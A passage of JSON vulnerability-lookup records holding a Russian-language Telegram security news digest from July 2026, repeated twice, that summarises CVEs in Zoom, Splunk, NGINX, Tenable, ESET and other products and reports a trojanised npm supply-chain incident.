\u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. Zoom \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0435\u043c \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u043e\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0435 \u0438 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0442\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u041f\u041e \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043b\u0438\u0446\u043e\u043c \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439.\n\nCVE-2026-53412 (CVSS 9,8) \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Zoom Workplace \u0434\u043b\u044f Windows \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 7.0.0, Windows VDI Client \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 7.0.10, 6.6.15 \u0438 6.5.18, \u0430 \u0442\u0430\u043a\u0436\u0435 Meeting SDK \u0434\u043b\u044f Windows \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 7.0.0.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u0430 \u043b\u0438\u0448\u044c \u043e\u043f\u0438\u0441\u0430\u043b \u0435\u0433\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n2. Splunk \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432. \u0418\u0437 \u043f\u044f\u0442\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0440\u0438 \u043a\u0430\u0441\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0434\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432.\n\n\u041a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c \u0434\u043b\u044f Splunk, \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f CVE-2026-20296 (\u043e\u0431\u0445\u043e\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438), CVE-2026-20297 (\u043e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438) \u0438 CVE-2026-20298 (\u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438).\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0438 \u0434\u0430\u043d\u043d\u044b\u043c, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 \u0445\u044d\u0448\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n3. F5 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u043d\u0435\u043f\u043e\u043b\u043e\u0441\u043d\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0435\u043c \u0432\u043e\u0441\u0435\u043c\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 NGINX \u0438 BIG-IP.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c - CVE-2026-42533 (CVSS 9.2), \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 NGINX Plus \u0438 NGINX Open Source, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0445 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 NGINX.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. F5 \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n4. \u0412 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435 \u0418\u0411-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Trend Micro, ESET, Tenable \u0438 Tanium \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \n\nTenable\u00a0\u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Tenable Agent. CVE-2026-15265 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430.\n\nESET\u00a0\u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 Inspect Connector \u0434\u043b\u044f Windows, \u0430 Tanium\u00a0- \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 DoS, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0432\u0448\u0435\u0439 Tanium Server.\n\nTrend Micro\u00a0\u043e\u0431\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Cleaner One Pro \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u044b Trend Micro, \u0438\u043c\u0435\u044e\u0449\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n5. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Bitdefender \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0442\u0440\u0438 \u043c\u0435\u0442\u043e\u0434\u0430 \u0430\u0442\u0430\u043a, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0443 \u0441\u0441\u044b\u043b\u043e\u043a Windows \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 EDR.\n\n6. Positive Technologies \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u0441\u0432\u043e\u0439 \u0438\u044e\u043b\u044c\u0441\u043a\u0438\u0439 \u00ab\u0412 \u0442\u0440\u0435\u043d\u0434\u0435 VM\u00bb, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 \u0432 \u043d\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Exchange Server (CVE-2026-42897, CVSS 8,1)\n\n7. \u041d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u044b\u043b\u0435\u0441\u043e\u0441\u0435 Shark \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u044b\u043b\u0435\u0441\u043e\u0441\u044b \u0432 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0430\u0445 \u0432\u0441\u0435\u0433\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u0430.\n\n8. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a \u0432 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 Node (npm) \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043f\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 AsyncAPI (\u0441\u0443\u043c\u043c\u0430\u0440\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u043f\u0440\u0435\u0432\u044b\u0441\u0438\u043b\u043e 2,25 \u043c\u043b\u043d.), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u0440\u043e\u044f\u043d \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.", "creation_timestamp": "2026-07-17T00:00:49.153854Z"}, {"uuid": "299503da-62b7-4771-a0d8-dc79571e628a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20298", "type": "seen", "source": "https://t.me/true_secator/8417", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. Zoom \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0435\u043c \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u043e\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0435 \u0438 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0442\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u041f\u041e \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043b\u0438\u0446\u043e\u043c \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439.\n\nCVE-2026-53412 (CVSS 9,8) \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Zoom Workplace \u0434\u043b\u044f Windows \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 7.0.0, Windows VDI Client \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 7.0.10, 6.6.15 \u0438 6.5.18, \u0430 \u0442\u0430\u043a\u0436\u0435 Meeting SDK \u0434\u043b\u044f Windows \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 7.0.0.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u0430 \u043b\u0438\u0448\u044c \u043e\u043f\u0438\u0441\u0430\u043b \u0435\u0433\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n2. Splunk \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432. \u0418\u0437 \u043f\u044f\u0442\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0440\u0438 \u043a\u0430\u0441\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0434\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432.\n\n\u041a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c \u0434\u043b\u044f Splunk, \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f CVE-2026-20296 (\u043e\u0431\u0445\u043e\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438), CVE-2026-20297 (\u043e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438) \u0438 CVE-2026-20298 (\u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438).\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0438 \u0434\u0430\u043d\u043d\u044b\u043c, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 \u0445\u044d\u0448\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n3. F5 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u043d\u0435\u043f\u043e\u043b\u043e\u0441\u043d\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0435\u043c \u0432\u043e\u0441\u0435\u043c\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 NGINX \u0438 BIG-IP.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c - CVE-2026-42533 (CVSS 9.2), \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 NGINX Plus \u0438 NGINX Open Source, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0445 